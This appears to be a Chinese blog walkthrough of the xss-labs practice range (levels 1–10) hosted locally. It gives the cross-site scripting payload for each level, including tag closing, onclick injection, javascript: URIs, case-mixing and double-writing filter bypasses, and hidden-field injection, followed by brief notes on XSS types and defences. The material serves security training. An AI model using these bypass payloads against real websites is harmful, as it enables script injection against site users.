一、环境搭建
使用phpstudy_pro 2018:

启动apache和mysql服务
下载xss-labs靶场代码
将代码放入网站根目录

打开浏览器
访问本地主机
127.0.0.1/xss-labs-master
来到闯关页面

level1
在url中有name值可以输入
进行xss注入
使用老朋友闭合标签 替换test
'"><script>alert('aini');</script>

下一关
level2

显示有一个文本框可以输入
再次使用闭合标签
'"><script>alert('aini');</script>

下一关
level3


输入闭合标签但是没过
检查一下

<替换掉了
输入事件函数
" onclick="alert(123)

点击触发事件
过关
level4

同理 下一关
level5

对o进行过滤了
换输入其他标签
'"><a href='javascript:alert(123);'>点击我</a>

level6

过滤了href
试试大写
'"><a HREF='javascript:alert(123);'>点击我</a>

level7

大小写整体替换了
试试双写
" oonnclick="alert(123)

成功
level8

看来还是过滤了
尝试编码绕过
javascript:alert("jaden")

level9
javascript:alert("jaden")//http://www.baidu.com

level10
传值
keyword=well%20done!&t_lick=aa&t_history=bb&t_sort='" type='text' onclick='alert(123)'

第十关完成啦
知识点:
反射型XSS 中危
交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。
储存型XSS 高危
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性
DOM XSS 低危
不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞
常规防范
前端限制绕过
大小写混合
双写绕过
编码
注释干扰后台绕过
没有分号
对输入进行过滤,对输出进行html实体编码
加CDN 防护, 代码层过滤,数据库层过滤,自己搭建防火墙,还可以开启 HttpOnly

7897

被折叠的 条评论
为什么被折叠?



